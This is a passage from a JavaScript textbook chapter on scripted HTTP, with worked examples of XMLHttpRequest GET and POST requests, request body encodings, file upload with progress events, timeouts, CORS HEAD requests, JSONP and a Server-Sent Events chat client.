function getTextSync(url) {
    var request = new XMLHttpRequest();  // Create new request
    request.open("GET", url, false);     // Pass false for synchronous
```

```
        request.send(null);                  // Send the request now

        // Throw an error if the request was not 200 OK
        if (request.status !== 200) throw new Error(request.statusText);

        // Throw an error if the type was wrong
        var type = request.getResponseHeader("Content-Type");
        if (!type.match(/^text/))
            throw new Error("Expected textual response; got: " + type);

        return request.responseText;
    }
```

Synchronous requests are tempting, but they should be avoided. Client-side JavaScript is single-threaded and when the `send()` method blocks, it typically freezes the entire browser UI. If the server you are connecting to is responding slowly, your user's browser will freeze up. See §22.4 for one context in which it is acceptable to make synchronous requests, however.

18.1.2.2 Decoding the response

In the examples above, we assume that the server has sent a textual response, with a MIME type like "text/plain", "text/html", or "text/css", and we retrieve it with the `responseText` property of the XMLHttpRequest object.

There are other ways to handle the server's response, however. If the server sends an XML or XHTML document as its response, you can retrieve a parsed representation of the XML document through the `responseXML` property. The value of this property is a Document object, and you can search and traverse it using the techniques shown in Chapter 15. (The XHR2 draft specification says that browsers should also automatically parse responses of type "text/html" and make them available as Document objects through `responseXML` as well, but browsers current at the time of this writing do not do that.)

If the server wants to send structured data, such as an object or array, as its response, it might transmit that data as a JSON-encoded (§6.9) string. When you receive it, you would then pass the `responseText` property to `JSON.parse()`. Example 18-3 is a generalization of Example 18-2: it makes a GET request for the specified URL and passes the contents of that URL to the specified callback function when they are ready. But instead of always passing text, it passes a Document, or an object decoded with `JSON.parse()`, or a string.

Example 18-3. Parsing the HTTP response

```
// Issue an HTTP GET request for the contents of the specified URL.
// When the response arrives, pass it to the callback function as a
// parsed XML Document object, a JSON-parsed object, or a string.
function get(url, callback) {
    var request = new XMLHttpRequest();         // Create new request
    request.open("GET", url);                   // Specify URL to fetch
    request.onreadystatechange = function() {   // Define event listener
```

```
        // If the request is compete and was successful
        if (request.readyState === 4 && request.status === 200) {
            // Get the type of the response
            var type = request.getResponseHeader("Content-Type");
            // Check type so we don't get HTML documents in the future
            if (type.indexOf("xml") !== -1 && request.responseXML)
                callback(request.responseXML);              // Document response
            else if (type === "application/json")
                callback(JSON.parse(request.responseText)); // JSON response
            else
                callback(request.responseText);             // String response
        }
    };
    request.send(null);                         // Send the request now
}
```

Example 18-3 checks the "Content-Type" header of the response and handles "application/json" responses specially. Another response type that you might want to "decode" specially is "application/javascript" or "text/javascript". You can use an XMLHttpRequest to request a JavaScript script, and then use a global `eval()` (§4.12.2) to execute that script. Using an XMLHttpRequest object is unnecessary in this case, however, since the HTTP scripting capabilities of the `<script>` element itself are sufficient to download and execute a script. See Example 13-4, and keep in mind that the `<script>` element can make cross-origin HTTP requests that are prohibited to the XMLHttpRequest API.

Web servers often respond to HTTP requests with binary data (image files, for example). The `responseText` property is for text only, and it cannot properly handle binary responses, even if you use the `charCodeAt()` method of the resulting string. XHR2 defines a way to handle binary responses, but at the time of this writing, browser vendors have not implemented it. See §22.6.2 for further details.

Proper decoding of a server's response assumes that the server sends a "Content-Type" header with the correct MIME type for the response. If a server sends an XML document without setting the appropriate MIME type, for example, the XMLHttpRequest object will not parse it and set the responseXML property. Or if a server includes an incorrect "charset" parameter in the content-type header, the XMLHttpRequest will decode the response using the wrong encoding and the characters in `responseText` may be wrong. XHR2 defines an `overrideMimeType()` method to address this problem and a number of browsers have already implemented it. If you know the MIME type of a resource better than the server does, pass the type of `overrideMimeType()` before you call `send()`—this will make XMLHttpRequest ignore the content-type header and use the type you specify instead. Suppose you're downloading an XML file that you're planning to treat as plain text. You can use `setOverrideMimeType()` to let the XMLHttpRequest know that it does not need to parse the file into an XML document:

```
// Don't process the response as an XML document
request.overrideMimeType("text/plain; charset=utf-8")
```

18.1.3 Encoding the Request Body

HTTP POST requests include a request body that contains data the client is passing to the server. In Example 18-1, the request body was simply a string of text. Often, however, we want to send more complicated data along with an HTTP request. This section demonstrates a number of ways to do that.

18.1.3.1 Form-encoded requests

Consider HTML forms. When the user submits a form, the data in the form (the names and values of each of the form elements) is encoded into a string and sent along with the request. By default, HTML forms are POSTed to the server, and the encoded form data is used as the body of the request. The encoding scheme used for form data is relatively simple: perform normal URI encoding (replacing special characters with hexadecimal escape codes) on the name and value of each form element, separate the encoded name and value with an equals sign, and separate these name/value pairs with ampersands. The encoding of a simple form might look like this:

```
find=pizza&zipcode=02134&radius=1km
```

This form data encoding format has a formal MIME type:

```
application/x-www-form-urlencoded
```

You must set the "Content-Type" request header to this value when POSTing form data of this sort.

Note that this kind of encoding does not require an HTML form, and we won't actually work directly with forms in this chapter. In Ajax applications, you are likely to have a JavaScript object that you want to send to the server. (That object may be derived from the user input in an HTML form, but that does not matter here.) The data shown above might be the form-encoded representation of this JavaScript object:

```
{
    find: "pizza",
    zipcode: 02134,
    radius: "1km"
}
```

Form encoding is so widely used on the Web, and so well supported in all server-side programming languages, that form-encoding your nonform data is often the easiest thing to do. Example 18-4 demonstrates how to form-encode the properties of an object.

Example 18-4. Encoding an object for an HTTP request

```
/**
 * Encode the properties of an object as if they were name/value pairs from
 * an HTML form, using application/x-www-form-urlencoded format
 */
function encodeFormData(data) {
    if (!data) return "";    // Always return a string
```

```
    var pairs = [];          // To hold name=value pairs
    for(var name in data) {                                  // For each name
        if (!data.hasOwnProperty(name)) continue;            // Skip inherited
        if (typeof data[name] === "function") continue;      // Skip methods
        var value = data[name].toString();                   // Value as string
        name = encodeURIComponent(name.replace(" ", "+"));   // Encode name
        value = encodeURIComponent(value.replace(" ", "+")); // Encode value
        pairs.push(name + "=" + value);   // Remember name=value pair
    }
    return pairs.join('&'); // Return joined pairs separated with &
}
```

With this `encodeFormData()` function defined, we can easily write utilities like the `postData()` function of Example 18-5. Note that, for simplicity, this `postData()` function (and similar functions in the examples that follow) does not process the server's response. When the response is complete, it passes the entire XMLHttpRequest object to the specified callback function. That callback is responsible for checking the response status code and extracting the response text.

Example 18-5. Making an HTTP POST request with form-encoded data

```
function postData(url, data, callback) {
    var request = new XMLHttpRequest();
    request.open("POST", url);                    // POST to the specified url
    request.onreadystatechange = function() {     // Simple event handler
        if (request.readyState === 4 && callback) // When response is complete
            callback(request);                    // call the callback.
    };
    request.setRequestHeader("Content-Type",      // Set Content-Type
                             "application/x-www-form-urlencoded");
    request.send(encodeFormData(data));           // Send form-encoded data
}
```

HTML forms generate POST requests by default, but they can also make GET requests. (When the purpose of the form submission is to make a read-only query, GET is more appropriate than POST.) GET requests never have a body, so the "payload" of form-encoded data has to be sent to the server as the query portion of the URL (following a question mark). The `encodeFormData()` utility can also be useful for this kind of GET request, and Example 18-6 demonstrates how to use it.

Example 18-6. Making a GET request with form-encoded data

```
function getData(url, data, callback) {
    var request = new XMLHttpRequest();
    request.open("GET", url +                     // GET the specified url
                 "?" + encodeFormData(data));     // with encoded data added
    request.onreadystatechange = function() {     // Simple event handler
        if (request.readyState === 4 && callback) callback(request);
    };
    request.send(null);                           // Send the request
}
```

HTML forms use form-encoded query sections to encode data into a URL, but using XMLHttpRequest gives us the freedom to encode our data however we want. With appropriate support on the server, our pizza query data might be encoded into a more legible URL like this one:

```
http://restaurantfinder.example.com/02134/1km/pizza
```

18.1.3.2 JSON-encoded requests

The use of form encoding in the body of POST requests is a common convention, but it is not a requirement of the HTTP protocol by any means. In recent years, the JSON format has gained popularity as a web interchange format. Example 18-7 shows how you might encode a request body using `JSON.stringify()` (§6.9). Note that this example differs from Example 18-5 only in the last two lines.

Example 18-7. Making an HTTP POST request with a JSON-encoded body

```
function postJSON(url, data, callback) {
    var request = new XMLHttpRequest();
    request.open("POST", url);                    // POST to the specified url
    request.onreadystatechange = function() {     // Simple event handler
        if (request.readyState === 4 && callback) // When response is complete
            callback(request);                    // call the callback.
    };
    request.setRequestHeader("Content-Type", "application/json");
    request.send(JSON.stringify(data));
}
```

18.1.3.3 XML-encoded requests

XML is sometimes also used as an encoding for data transfer. Instead of expressing our pizza query as a form-encoded or JSON-encoded version of a JavaScript object, we could represent it as an XML document. It might look like this, for example:

```
<query>
  <find zipcode="02134" radius="1km">
    pizza
  </find>
</query>
```

In all the examples we've shown so far, the argument to the XMLHttpRequest `send()` method has been a string or `null`. In fact, you can also pass an XML Document object here. Example 18-8 demonstrates how to create a simple XML Document object and use it as the body of an HTTP request.

Example 18-8. An HTTP POST request with an XML document as its body

```
// Encode what, where, and radius in an XML document and post them to the
// specified url, invoking callback when the response is received
function postQuery(url, what, where, radius, callback) {
    var request = new XMLHttpRequest();
    request.open("POST", url);                  // POST to the specified url
    request.onreadystatechange = function() {   // Simple event handler
```

```
        if (request.readyState === 4 && callback) callback(request);
    };

    // Create an XML document with root element <query>
    var doc = document.implementation.createDocument("", "query", null);
    var query = doc.documentElement;            // The <query> element
    var find = doc.createElement("find");       // Create a <find> element
    query.appendChild(find);                    // And add it to the <query>
    find.setAttribute("zipcode", where);        // Set attributes on <find>
    find.setAttribute("radius", radius);
    find.appendChild(doc.createTextNode(what)); // And set content of <find>

    // Now send the XML-encoded data to the server.
    // Note that the Content-Type will be automatically set.
    request.send(doc);
}
```

Note that Example 18-8 does not ever set the "Content-Type" header for the request. When you pass an XML document to the `send()` method, without previously specifying a `Content-Type` header, the XMLHttpRequest object automatically sets an appropriate header for you. (Similarly, if you pass a string to `send()` and have not specified a Content-Type, the XMLHttpRequest will add a "text/plain; charset=UTF-8" header for you. The code in Example 18-1 sets this header explicitly, but that is not actually required for plain-text request bodies.

18.1.3.4 Uploading a file

One of the features of HTML forms is that when the user selects a file through an `<input type="file">` element, the form will send the content of that file in the body of the POST request it generates. HTML forms have always been able to upload files, but until recently it was not possible to do the same thing with the XMLHttpRequest API. The XHR2 API, however, allows you to upload files by passing a File object to the `send()` method.

There is no `File()` object constructor: scripts can only obtain File objects that represent files the user has selected. In browsers that support File objects, every `<input type="file">` element has a `files` property that is an array-like object of File objects. The drag-and-drop API (§17.7) also allows access to files that the user "drops" over an element, through the `dataTransfer.files` property of the drop event. We'll see more about the File object in §22.6 and §22.7. For now, we can treat it as a completely opaque representation of a user-selected file, suitable for upload through `send()`. Example 18-9 is a an unobtrusive JavaScript function that adds an change event handler to certain file upload elements so that they automatically POST the contents of any selected file to a specified URL.

Example 18-9. File upload with an HTTP POST request

```
// Find all <input type="file"> elements with a data-uploadto attribute
// and register an onchange handler so that any selected file is
// automatically POSTED to the specified "uploadto" URL. The server's
```


Download from Wow! eBook <www.wowebook.com>

```
// response is ignored.
whenReady(function() {                        // Run when the document is ready
    var elts = document.getElementsByTagName("input"); // All input elements
    for(var i = 0; i < elts.length; i++) {             // Loop through them
        var input = elts[i];
        if (input.type !== "file") continue;  // Skip all but file upload elts
        var url = input.getAttribute("data-uploadto"); // Get upload URL
        if (!url) continue;                   // Skip any without a url

        input.addEventListener("change", function() {  // When user selects file
            var file = this.files[0];         // Assume a single file selection
            if (!file) return;                // If no file, do nothing
            var xhr = new XMLHttpRequest();   // Create a new request
            xhr.open("POST", url);            // POST to the URL
            xhr.send(file);                   // Send the file as body
        }, false);
    }
});
```

As we'll see in §22.6, the File type is a subtype of the more general Blob type. XHR2 allows you to pass any Blob object to the `send()` method. The `type` property of the Blob will be used to set the `Content-Type` header for the upload, if you do not set that header explicitly yourself. If you need to upload binary data that you have generated, you can use the techniques shown in §22.5 and §22.6.3 to convert the data to a Blob and use it as a request body.

18.1.3.5 multipart/form-data requests

When HTML forms include file upload elements and other elements as well, the browser cannot use ordinary form encoding and must POST the form using a special content-type known as "multipart/form-data". This encoding involves the use of long "boundary" strings to separate the body of the request into multiple parts. For textual data, it is possible to create "multipart/form-data" request bodies by hand, but it is tricky.

XHR2 defines a new FormData API that makes multipart request bodies simple. First, create a FormData object with the `FormData()` constructor and then call the `append()` method of that object as many times as necessary to add the individual "parts" (these can be strings or File or Blob objects) to the request. Finally, pass the FormData object to the `send()` method. The `send()` method will define an appropriate boundary string and set the "Content-Type" header for the request. Example 18-10 demonstrates the use of FormData, and we'll see it again in Example 18-11.

Example 18-10. POSTing multipart/form-data request body

```
function postFormData(url, data, callback) {
    if (typeof FormData === "undefined")
        throw new Error("FormData is not implemented");

    var request = new XMLHttpRequest();           // New HTTP request
    request.open("POST", url);                    // POST to the specified url
```

```
    request.onreadystatechange = function() {      // A simple event handler.
        if (request.readyState === 4 && callback)  // When response is complete
            callback(request);                     // ...call the callback.
    };
    var formdata = new FormData();
    for(var name in data) {
        if (!data.hasOwnProperty(name)) continue;  // Skip inherited properties
        var value = data[name];
        if (typeof value === "function") continue; // Skip methods
        // Each property becomes one "part" of the request.
        // File objects are allowed here
        formdata.append(name, value);              // Add name/value as one part
    }
    // Send the name/value pairs in a multipart/form-data request body. Each
    // pair is one part of the request. Note that send automatically sets
    // the Content-Type header when you pass it a FormData object
    request.send(formdata);
}
```

18.1.4 HTTP Progress Events

In the examples above, we've used the readystatechange event to detect the completion of an HTTP request. The XHR2 draft specification defines a more useful set of events and these have already been implemented by Firefox, Chrome, and Safari. In this new event model, the XMLHttpRequest object triggers different types of events at different phases of the request so that it is no longer necessary to check the `readyState` property.

In browsers that support them, these new events are triggered as follows. When the `send()` method is called, a single loadstart event is fired. While the server's response is being downloaded, the XMLHttpRequest object fires progress events, typically every 50 milliseconds or so, and you can use these events to give the user feedback about the progress of the request. If a request completes very quickly, it may never fire a progress event. When a request is complete, a load event is fired.

A complete request is not necessarily a successful request, and your handler for the load event should check the `status` code of the XMLHttpRequest object to ensure that you received a HTTP "200 OK" response rather than a "404 Not Found" response, for example.

There are three ways that an HTTP request can fail to complete, and three corresponding events. If a request times out, the timeout event is triggered. If a request is aborted, the abort event is triggered. (Timeouts and the `abort()` method will be covered in §18.1.5.) Finally, other network errors, such as too many redirects, can prevent the completion of a request, and the error event is triggered when this happens.

A browser will fire only one of the load, abort, timeout, or error events for any given request. The XHR2 draft says that browsers should trigger a loadend event once one of these events has occurred. At the time of this writing, however, browsers do not implement loadend.

You can call the `addEventListener()` method of the XMLHttpRequest object register handlers for each of these progress events. If you have only one handler for each kind of event, it is generally easier to just set the corresponding handler property, such as `onprogress` and `onload`. You can even use the existence of these event properties to test whether a browser supports progress events:

```
if ("onprogress" in (new XMLHttpRequest())) {
    // Progress events are supported
}
```

The event object associated with these progress events has three useful properties in addition to the normal Event object properties like `type` and `timestamp`. The `loaded` property is the number of bytes that have been transferred so far. The `total` property is the total length (in bytes) of the data to be transferred, from the "Content-Length" header, or 0 if the content length is not known. Finally, the `lengthComputable` property is `true` if the content length is known and is `false` otherwise. Obviously, the `total` and `loaded` properties are particularly useful in progress event handlers:

```
request.onprogress = function(e) {
    if (e.lengthComputable)
        progress.innerHTML = Math.round(100*e.loaded/e.total) + "% Complete";
}
```

18.1.4.1 Upload progress events

In addition to defining these useful events for monitoring the download of an HTTP response, XHR2 also allows the events to be used to monitor the upload of an HTTP request. In browsers that have implemented this feature, the XMLHttpRequest object will have an `upload` property. The value of the `upload` property is an object that defines an `addEventListener()` method and defines a full set of progress event properties, such as `onprogress` and `onload`. (The upload object does not define an `onreadystatechange` property, however: uploads only trigger the new event types.)

You can use the upload event handlers just as you would use the regular progress event handlers. For an XMLHttpRequest object `x`, set `x.onprogress` to monitor the download progress of the response. And set `x.upload.onprogress` to monitor the upload progress of the request.

Example 18-11 demonstrates how to use upload progress events to present upload progress feedback to the user. This example also demonstrates how to obtain File objects from the Drag-and-Drop API and how to upload multiple files in a single XMLHttpRequest request with the FormData API. These features are still in draft form at the time of this writing and the example does not work in all browsers.

Example 18-11. Monitoring HTTP upload progress

```
// Find all elements of class "fileDropTarget" and register DnD event handlers
// to make them respond to file drops.  When files are dropped, upload them to
// the URL specified in the data-uploadto attribute.
whenReady(function() {
    var elts = document.getElementsByClassName("fileDropTarget");
```

```
for(var i = 0; i < elts.length; i++) {
    var target = elts[i];
    var url = target.getAttribute("data-uploadto");
    if (!url) continue;
    createFileUploadDropTarget(target, url);
}

function createFileUploadDropTarget(target, url) {
    // Keep track of whether we're currently uploading something so we can
    // reject drops. We could handle multiple concurrent uploads, but
    // that would make progress notification too tricky for this example.
    var uploading = false;

    console.log(target, url);

    target.ondragenter = function(e) {
        console.log("dragenter");
        if (uploading) return;  // Ignore drags if we're busy
        var types = e.dataTransfer.types;
        if (types &&
            ((types.contains && types.contains("Files")) ||
             (types.indexOf && types.indexOf("Files") !== -1))) {
            target.classList.add("wantdrop");
            return false;
        }
    };
    target.ondragover = function(e) { if (!uploading) return false; };
    target.ondragleave = function(e) {
        if (!uploading) target.classList.remove("wantdrop");
    };
    target.ondrop = function(e) {
        if (uploading) return false;
        var files = e.dataTransfer.files;
        if (files && files.length) {
            uploading = true;
            var message = "Uploading files:<ul>";
            for(var i = 0; i < files.length; i++)
                message += "<li>" + files[i].name + "</li>";
            message += "</ul>";

            target.innerHTML = message;
            target.classList.remove("wantdrop");
            target.classList.add("uploading");

            var xhr = new XMLHttpRequest();
            xhr.open("POST", url);
            var body = new FormData();
            for(var i = 0; i < files.length; i++) body.append(i, files[i]);
            xhr.upload.onprogress = function(e) {
                if (e.lengthComputable) {
                    target.innerHTML = message +
                        Math.round(e.loaded/e.total*100) +
                        "% Complete";
                }
            };
            xhr.upload.onload = function(e) {
```

```
                uploading = false;
                target.classList.remove("uploading");
                target.innerHTML = "Drop files to upload";
            };
            xhr.send(body);

            return false;
        }
        target.classList.remove("wantdrop");
    }
  }
});
```

18.1.5 Aborting Requests and Timeouts

You can cancel an HTTP request in process by calling the `abort()` method of the XMLHttpRequest object. The `abort()` method is available in all versions of XMLHttpRequest, and in XHR2, calling `abort()` triggers an abort event on the object. (Some browsers support abort events at the time of this writing. You can test for the presence of an "onabort" property on the XMLHttpRequest object.)

The primary reason to call `abort()` is to cancel or time-out requests that have taken too long to complete or when the responses become irrelevant. Suppose you're using XMLHttpRequest to request auto-complete suggestions for a text input field. If the user types a new character into the field before the server's suggestions can arrive, then the pending request is no longer interesting and can be aborted.

XHR2 defines a `timeout` property that specifies a time in milliseconds after which a request will automatically be aborted and also defines a timeout event that is supposed to be triggered (instead of the abort event) when such a timeout occurs. At the time of this writing, browsers do not implement these automatic timeouts (and their XMLHttpRequest objects do not have `timeout` or `ontimeout` properties). You can implement your own timeouts, however, with `setTimeout()` (§14.1) and the `abort()` method. Example 18-12 demonstrates how to do this.

Example 18-12. Implementing timeouts

```
// Issue an HTTP GET request for the contents of the specified URL.
// If the response arrives successfully, pass responseText to the callback.
// If the response does not arrive in less than timeout ms, abort the request.
// Browsers may fire "readystatechange" after abort(), and if a partial
// request has been received, the status property may even be set, so
// we need to set a flag so that we don't invoke the callback for a partial,
// timed-out response. This problem does not arise if we use the load event.
function timedGetText(url, timeout, callback) {
    var request = new XMLHttpRequest();         // Create new request.
    var timedout = false;                       // Whether we timed out or not.
    // Start a timer that will abort the request after timeout ms.
    var timer = setTimeout(function() {         // Start a timer. If triggered,
                               timedout = true; // set a flag and then
                               request.abort(); // abort the request.
                           },
```

```
                        timeout);            // How long before we do this
    request.open("GET", url);                // Specify URL to fetch
    request.onreadystatechange = function() {  // Define event listener.
        if (request.readyState !== 4) return;  // Ignore incomplete requests.
        if (timedout) return;                // Ignore aborted requests.
        clearTimeout(timer);                 // Cancel pending timeout.
        if (request.status === 200)          // If request was successful
            callback(request.responseText);  // pass response to callback.
    };
    request.send(null);                      // Send the request now
}
```


18.1.6 Cross-Origin HTTP Requests

As part of the same-origin security policy (§13.6.2), the XMLHttpRequest object can normally issue HTTP requests only to the server from which the document that uses it was downloaded. This restriction closes security holes, but it is heavy-handed and also prevents a number of legitimate uses for cross-origin requests. You can use cross-origin URLs with `<form>` and `<iframe>` elements, and the browser will display the resulting cross-origin document. But because of the same-origin policy, the browser won't allow the original script to inspect the contents of the cross-origin document. With XMLHttpRequest, document contents are always exposed through the `responseText` property, so the same-origin policy cannot allow XMLHttpRequest to make cross-origin requests. (Note that the `<script>` element has never really been subject to the same-origin policy: it will download and execute any script, regardless of origin. As we'll see in §18.2, this freedom to make cross-origin requests makes the `<script>` element an attractive Ajax transport alternative to XMLHttpRequest.)

XHR2 allows cross-origin requests to websites that opt-in by sending appropriate CORS (Cross-Origin Resource Sharing) headers in their HTTP responses. At the time of this writing, current versions of Firefox, Safari, and Chrome support CORS and IE8 supports it through a proprietary XDomainRequest object that is not documented here. As a web programmer, there is nothing special you need to do to make this work: if the browser supports CORS for XMLHttpRequest and if the website you are trying to make a cross-origin request to has decided to allow cross-origin requests with CORS, the same-origin policy will be relaxed and your cross-origin requests will just work.

Although there is nothing you have to do to make CORS-enabled cross-origin requests work, there are a few security details worth understanding. First, if you pass a username and password to the XMLHttpRequest `open()` method, they will never be sent with a cross-origin request (that would enable distributed password-cracking attempts). In addition, cross-origin requests do not normally include any other user credentials either: cookies and HTTP authentication tokens are not normally sent as part of the request and any cookies received as part of a cross-origin response are discarded. If your cross-origin request requires these kinds of credentials to succeed, you must set the `withCredentials` property of the XMLHttpRequest to `true` before you `send()` the request. It is uncommon to have to do this, but testing for the presence of the `withCredentials` property is a way to test for CORS support in your browser.

Example 18-13 is unobtrusive JavaScript code that uses XMLHttpRequest to make HTTP HEAD requests to download type, size, and date information about the resources linked to by the <a> elements in a document. The HEAD requests are made on demand, and the resulting link information is displayed in tooltips. The example assumes that information will not be available for cross-origin links, but on CORS-enabled browsers it attempts to download it anyway.

Example 18-13. Requesting link details with HEAD and CORS

```
/**
 * linkdetails.js
 *
 * This unobtrusive JavaScript module finds all <a> elements that have an href
 * attribute but no title attribute and adds an onmouseover event handler to
 * them. The event handler makes an XMLHttpRequest HEAD request to fetch
 * details about the linked resource, and then sets those details in the title
 * attribute of the link so that they will be displayed as a tooltip.
 */
whenReady(function() {
    // Is there any chance that cross-origin requests will succeed?
    var supportsCORS = (new XMLHttpRequest()).withCredentials !== undefined;

    // Loop through all links in the document
    var links = document.getElementsByTagName('a');
    for(var i = 0; i < links.length; i++) {
        var link = links[i];
        if (!link.href) continue; // Skip anchors that are not hyperlinks
        if (link.title) continue; // Skip links that already have tooltips

        // If this is a cross-origin link
        if (link.host !== location.host || link.protocol !== location.protocol)
        {
            link.title = "Off-site link";  // Assume we can't get any more info
            if (!supportsCORS) continue;   // Quit now if no CORS support
            // Otherwise, we might be able to learn more about the link
            // So go ahead and register the event handlers so we can try.
        }

        // Register event handler to download link details on mouse over
        if (link.addEventListener)
            link.addEventListener("mouseover", mouseoverHandler, false);
        else
            link.attachEvent("onmouseover", mouseoverHandler);
    }

    function mouseoverHandler(e) {
        var link = e.target || e.srcElement;      // The <a> element
        var url = link.href;                      // The link URL

        var req = new XMLHttpRequest();           // New request
        req.open("HEAD", url);                    // Ask for just the headers
        req.onreadystatechange = function() {     // Event handler
            if (req.readyState !== 4) return;     // Ignore incomplete requests
            if (req.status === 200) {             // If successful
                var type = req.getResponseHeader("Content-Type");   // Get
```

```
                var size = req.getResponseHeader("Content-Length"); // link
                var date = req.getResponseHeader("Last-Modified");  // details
                // Display the details in a tooltip.
                link.title = "Type: " + type + "   \n" +
                    "Size: " + size + "   \n" + "Date: " + date;
            }
            else {
                // If request failed, and the link doesn't already have an
                // "Off-site link" tooltip, then display the error.
                if (!link.title)
                    link.title = "Couldn't fetch details: \n" +
                        req.status + " " + req.statusText;
            }
        };
        req.send(null);

        // Remove handler: we only want to fetch these headers once.
        if (link.removeEventListener)
            link.removeEventListener("mouseover", mouseoverHandler, false);
        else
            link.detachEvent("onmouseover", mouseoverHandler);
    }
});
```

18.2 HTTP by <script>: JSONP

The introduction to this chapter mentioned that a `<script>` element can be used as an Ajax transport mechanism: simply set the `src` attribute of a `<script>` (and insert it into the document if it isn't already there) and the browser will generate an HTTP request to download the URL you specify. `<script>` elements are useful Ajax transports for one primary reason: they are not subject to the same origin policy, so you can use them to request data from servers other than your own. A secondary reason to use `<script>` elements is that they automatically decode (i.e., execute) response bodies that consist of JSON-encoded data.

Scripts and Security

In order to use a `<script>` element as an Ajax transport, you have to allow your web page to run whatever JavaScript code the remote server chooses to send you. This means that you *must not* use the technique described here with untrusted servers. And when you do use it with trusted servers, keep in mind that if an attacker can hack into that server, then the hacker can take over your web page, run any code she wants and display any content she wants, and that content will appear to come from your site.

With that said, note that it has become commonplace for websites to use trusted third-party scripts, especially to embed advertising or "widgets" into a page. Using a `<script>` as an Ajax transport to communicate with a trusted web service is no more dangerous than that.

The technique of using a `<script>` element as an Ajax transport has come to be known as JSONP: it works when the response body of the HTTP request is JSON-encoded. The "P" stands for "padding" or "prefix"—this will be explained in a moment.[4]

Suppose you've written a service that handles GET requests and returns JSON-encoded data. Same-origin documents can use it with XMLHttpRequest and `JSON.parse()` with code like that in Example 18-3. If you enable CORS on your server, cross-origin documents in new browsers can also use your service with XMLHttpRequest. Cross-origin documents in older browsers that do not support CORS can only access your service with a `<script>` element, however. Your JSON response body is (by definition) valid JavaScript code, and the browser will execute it when it arrives. Executing JSON-encoded data decodes it, but the result is still just data, and it doesn't *do* anything.

This is where the P part of JSONP comes in. When invoked through a `<script>` element, your service must "pad" its response by surrounding it with parentheses and prefixing it with the name of a JavaScript function. Instead of just sending JSON data like this:

```
[1, 2, {"buckle": "my shoe"}]
```

It sends a padded-JSON response like this:

```
handleResponse(
[1, 2, {"buckle": "my shoe"}]
)
```

As the body of a `<script>` element, this padded response does something valuable: it evaluates the JSON-encoded data (which is nothing more than one big JavaScript expression, after all) and then passes it to the function `handleResponse()`, which, we assume, the containing document has defined to do something useful with the data.

In order for this to work, we have to have some way to tell the service that it is being invoked from a `<script>` element and must send a JSONP response instead of a plain JSON response. This can be done by adding a query parameter to the URL: appending `?json` (or `&json`), for example.

In practice, services that support JSONP do not dictate a function name like "handleResponse" that all clients must implement. Instead, they use the value of a query parameter to allow the client to specify a function name, and then use that function name as the padding in the response. Example 18-14 uses a query parameter named "jsonp" to specify the name of the callback function. Many services that support JSONP recognize this parameter name. Another common name is "callback", and you might have to modify the code shown here to make it work with the particular requirements of the service you need to use.

Example 18-14 defines a function `getJSONP()` that makes a JSONP request. This example is a little tricky, and there are some things you should note about it. First, notice how it creates a new `<script>` element, sets its URL, and inserts it into the document. It is this insertion that triggers the HTTP request. Second, notice that the example

4. Bob Ippolito coined the term "JSONP" in 2005.

creates a new internal callback function for each request, storing the function as a property of `getJSONP()` itself. Finally, note that callback performs some necessary cleanup: it removes the script element and deletes itself.

Example 18-14. Making a JSONP request with a script element

```
// Make a JSONP request to the specified URL and pass the parsed response
// data to the specified callback. Add a query parameter named "jsonp" to
// the URL to specify the name of the callback function for the request.
function getJSONP(url, callback) {
    // Create a unique callback name just for this request
    var cbnum = "cb" + getJSONP.counter++; // Increment counter each time
    var cbname = "getJSONP." + cbnum;      // As a property of this function

    // Add the callback name to the url query string using form-encoding
    // We use the parameter name "jsonp".  Some JSONP-enabled services
    // may require a different parameter name, such as "callback".
    if (url.indexOf("?") === -1)   // URL doesn't already have a query section
        url += "?jsonp=" + cbname; // add parameter as the query section
    else                           // Otherwise,
        url += "&jsonp=" + cbname; // add it as a new parameter.

    // Create the script element that will send this request
    var script = document.createElement("script");

    // Define the callback function that will be invoked by the script
    getJSONP[cbnum] = function(response) {
        try {
            callback(response); // Handle the response data
        }
        finally {               // Even if callback or response threw an error
            delete getJSONP[cbnum];                // Delete this function
            script.parentNode.removeChild(script); // Remove script
        }
    };

    // Now trigger the HTTP request
    script.src = url;                  // Set script url
    document.body.appendChild(script); // Add it to the document
}

getJSONP.counter = 0;  // A counter we use to create unique callback names
```

18.3 Comet with Server-Sent Events

The Server-Sent Events draft standard defines an EventSource object that makes Comet applications trivial to write. Simply pass a URL to the `EventSource()` constructor and then listen for message events on the returned object:

```
var ticker = new EventSource("stockprices.php");
ticker.onmessage = function(e) {
    var type = e.type;
    var data = e.data;
```

```
        // Now process the event type and event data strings.
    }
```

The event object associated with a message event has a `data` property that holds whatever string the server sent as the payload for this event. The event object also has a `type` property like all event objects do. The default value is "message", but the event source can specify a different string for the property. A single `onmessage` event handler receives all events from a given server event source, and can dispatch them, if necessary, based on their `type` property.

The Server-Sent Event protocol is straightforward. The client initiates a connection to the server (when it creates the `EventSource` object) and the server keeps this connection open. When an event occurs, the server writes lines of text to the connection. An event going over the wire might look like this:

`event: bid`	*sets the type of the event object*
`data: GOOG`	*sets the data property*
`data: 999`	*appends a newline and more data*
	a blank line triggers the message event

There are some additional details to the protocol that allow events to be given IDs and allow a reconnecting client to tell the server what the ID of the last event it received was, so that a server can resend any events it missed. Those details are not important here, however.

One obvious application for the Comet architecture is online chat: a chat client can post new messages to the chat room with XMLHttpRequest and can subscribe to the stream of chatter with an EventSource object. Example 18-15 demonstrates how easy it is to write a chat client like this with EventSource.

Example 18-15. A simple chat client, using EventSource

```
<script>
window.onload = function() {
    // Take care of some UI details
    var nick = prompt("Enter your nickname");     // Get user's nickname
    var input = document.getElementById("input"); // Find the input field
    input.focus();                                // Set keyboard focus

    // Register for notification of new messages using EventSource
    var chat = new EventSource("/chat");
    chat.onmessage = function(event) {            // When a new message arrives
        var msg = event.data;                     // Get text from event object
        var node = document.createTextNode(msg);  // Make it into a text node
        var div = document.createElement("div");  // Create a <div>
        div.appendChild(node);                    // Add text node to div
        document.body.insertBefore(div, input);   // And add div before input
        input.scrollIntoView();                   // Ensure input elt is visible
    }

    // Post the user's messages to the server using XMLHttpRequest
    input.onchange = function() {                 // When user strikes return
        var msg = nick + ": " + input.value;      // Username plus user's input
```

```
        var xhr = new XMLHttpRequest();           // Create a new XHR
        xhr.open("POST", "/chat");                // to POST to /chat.
        xhr.setRequestHeader("Content-Type",      // Specify plain UTF-8 text
                             "text/plain;charset=UTF-8");
        xhr.send(msg);                            // Send the message
        input.value = "";                         // Get ready for more input
    }
};
</script>
<!-- The chat UI is just a single text input field -->
<!-- New chat messages will be inserted before this input field -->
<input id="input" style="width:100%"/>
```


